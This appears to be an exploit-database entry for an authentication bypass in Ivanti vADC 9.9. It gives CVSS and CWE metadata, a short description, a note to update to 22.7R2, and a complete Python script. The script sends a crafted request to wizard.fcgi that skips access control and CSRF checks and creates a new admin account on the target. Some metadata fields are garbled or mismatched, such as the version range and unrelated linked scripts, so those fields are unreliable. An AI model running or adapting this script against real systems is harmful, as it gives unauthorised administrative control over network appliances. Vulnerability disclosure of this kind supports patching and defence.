Ivanti vADC 9.9 - Authentication Bypass

vendor:

vADC

by:

ohnoisploited

6.1

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: vADC

Affected Version From: 9.9

Affected Version To: 45544

Patch Exists: YES

Related CWE: CVE-2024-XXXX (To be assigned)

CPE: a:ivanti:vadc:9.9

Metasploit:

Other Scripts: https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/, https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/backupexec/ssl_uaf

Platforms Tested: Linux

2024

Ivanti vADC 9.9 – Authentication Bypass

The Ivanti vADC version 9.9 is susceptible to an authentication bypass vulnerability. By sending a crafted request to the wizard.fcgi endpoint with specific parameters, an attacker can create a new admin user without proper authentication, leading to unauthorized access to the system.

Mitigation:

To mitigate this vulnerability, it is recommended to update to fixed versions 22.7R2 and above.

Source

Exploit-DB raw data:

# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC 
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = 'https://192.168.88.130:9090'

# User to create
new_admin_name = 'newadmin'
new_admin_password = 'newadmin1234'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")